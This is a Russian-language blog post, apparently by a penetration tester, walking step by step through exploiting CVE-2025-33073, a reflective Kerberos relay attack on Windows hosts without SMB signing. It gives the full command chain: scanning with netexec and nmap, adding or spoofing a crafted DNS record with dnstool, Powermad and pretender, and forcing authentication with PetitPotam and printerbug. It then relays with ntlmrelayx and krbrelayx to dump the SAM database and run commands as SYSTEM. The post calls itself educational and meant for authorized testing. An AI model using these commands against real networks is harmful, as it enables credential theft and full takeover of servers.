Всем привет. Решил написать об относительно новой и достаточно нашумевшей уязвимости, а именно CVE-2025-33073, получившей от исследователей неофициальное название The Reflective Kerberos Relay Attack. От коллег в сообществе доводилось слышать, что это ни много ни мало "новый ms17-010", поэтому захотелось разобрать эту уязвимость, что называется, in the wild.

Естественно, эта статья носит исключительно образовательный и ознакомительный характер, все действия следует воспроизводить в изолированной среде или с согласия заказчика.

Теория

Сразу оговорюсь, в данной статье не буду рассматривать глубокую теорию и погружаться в то, что вы можете самостоятельно узнать из первоисточников. Впервые я услышал об этой уязвимости от исследователей из Synacktiv, также подробно и интересно о ней можно почитать по ссылке. Я же постараюсь описать именно практическое применение, эксплуатацию и возникающие у меня при этом проблемы.

Если максимально коротко описать принцип атаки, то он заключается в том, что мы принудительно заставляем Windows-хост подключиться к нашей атакующей системе по протоколу SMB и пройти аутентификацию по протоколу Kerberos. Билет Kerberos затем ретранслируется обратно на тот же хост по тому же протоколу SMB. Самое интересное начинается тогда, когда вместо низко привилегированного SMB-сеанса с привилегиями машинной учётной записи, мы получаем привилегии NT AUTHORITY\SYSTEM, достаточные для выполнения произвольных команд.

Данная уязвимость не работает в Windows 11 и Windows Server 2025, а также если установлены необходимые патчи.

Шаг 1. Хосты без SMB-signing

Тут все просто. Чтобы ретранслироваться на SMB, самое главное, что нам нужно - отсутствие подписи SMB-сообщений. Ищем:

netexec smb <ip_addr>/24 --gen-relay-list smb_targets.txt

Либо любимый nmap:

nmap -sVC -p 445 srv-1c-upp.mydomain.local

Здесь нам важна строчка "Message signing enabled but not required". С целями определились.

Шаг 2. Добавление DNS-записи

Kerberos оперирует доменными именами, поэтому нам необходимо добавить нужную DNS-запись типа A для подконтрольной машины и заставить аутентифицироваться на ней нашу цель.

По умолчанию каждый пользователь Active Directory имеет права на добавление DNS-записей, заодно и проверим. Кстати, если такая возможность есть, не забудем отразить это как недостаток в нашем отчете.

В Linux используем krbrelayx:

python3 dnstool.py -u 'mydomain.local\attacker' -p Qwerty123 -a add -r srv-1c-upp1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_ip> <dc_ip> --tcp

Если у нас несколько доменов или несколько DNS-серверов, добавляем флаг --forest.

Однако, таким способом добавить DNS-запись у меня не получилось, вероятно, данный инструмент блокировался антивирусным программным обеспечением сервера.

Пришлось использовать альтернативу под Windows, которая сошла за легитимную:

runas /netonly /u:mydomain.local\attacker powershell.exe
Import-Module  D:\FOLDER\Powermad-master\Powermad.psm1
Invoke-DNSUpdate -DNSType A -DNSName SRV-1C-UPP1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -DNSData <attacker_ip>

Через некоторое время проверим, что DNS-запись добавлена, и SRV-1C-UPP1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA резолвится в наш IP-адрес:

nslookup SRV-1C-UPP1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.mydomain.local

Если все отлично, переходим к шагу 3. Но здесь можно столкнуться с первыми сложностями. Лично у меня они возникали по следующим причинам:

• отсутствуют права у пользователя на добавление DNS-записей

• групповые политики и антивирус

• DNS-сервер не Windows-система

• DNS-сервер настроен не на DC

Все это можно обойти, мы же попробуем рассмотреть случай со спуфингом DNS-записи. Здесь нам поможет утилита pretender:

./pretender -i eth0 --spoof 'SRV-1C-UPP1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' --no-dhcp-dns --no-timestamp

Не забываем, что данный способ работает только в пределах одного широковещательного домена.

Шаг 3. Релеим

Настройка DNS завершена. Запускаем ntlmrelayx: SMB-listener на 445 порту, который будет ретранслировать входящую попытку аутентификации. В качестве цели для пересылки указана служба SMB на нашем srv-1c-upp.

impacket-ntlmrelayx -t srv-1c-upp.mydomain.local -smb2support

Если все сработает, сдампим SAM.

Проводим принудительную аутентификацию на самого себя:

python3 PetitPotam.py -u attacker -p Qwerty123 -d mydomain.local 'srv-1c-up1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' 'srv-1c-upp.mydomain.local'

В терминале с ntlmrelayx получаем SAM с целевого сервера

Можно также получить интерактивную сессию SMB-клиента, добавив флаг -i

Также для релея можно использовать уже упомянутый ранее krbrelayx. Передаем билет обратно srv-1c-upp и в качестве примера выполним команду на целевой системе после успешной ретрансляции с правами SYSTEM.

python3 krbrelayx.py -t smb://srv-1c-upp.mydomain.local -debug -c 'cmd /c "whoami /all & hostname & ipconfig"'
python3 printerbug.py 'mydomain.local/attacker:Qwerty123@srv-1c-upp.mydomain.local' srv-1c-upp1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

Теперь входящее соединение ретранслируется krbrelayx обратно на srv-1c-upp, и указанные команды выполняются на srv-1c-upp с привилегиями SYSTEM.

В итоге для успешной атаки нам необходимо выполнение следующих условий:

• пользовательская учетная запись домена

• сетевой доступ к 445 порту атакуемого хоста и обратно

• отсутствие подписи SMB

• возможность добавления DNS-записей (либо spoofing DNS-записей в пределах широковещательного домена)

Кстати, PoC-эксплоит, где все выполняется в 1-2 команды (ну, как мы любим) уже можно найти на Github.

Всем спасибо за внимание!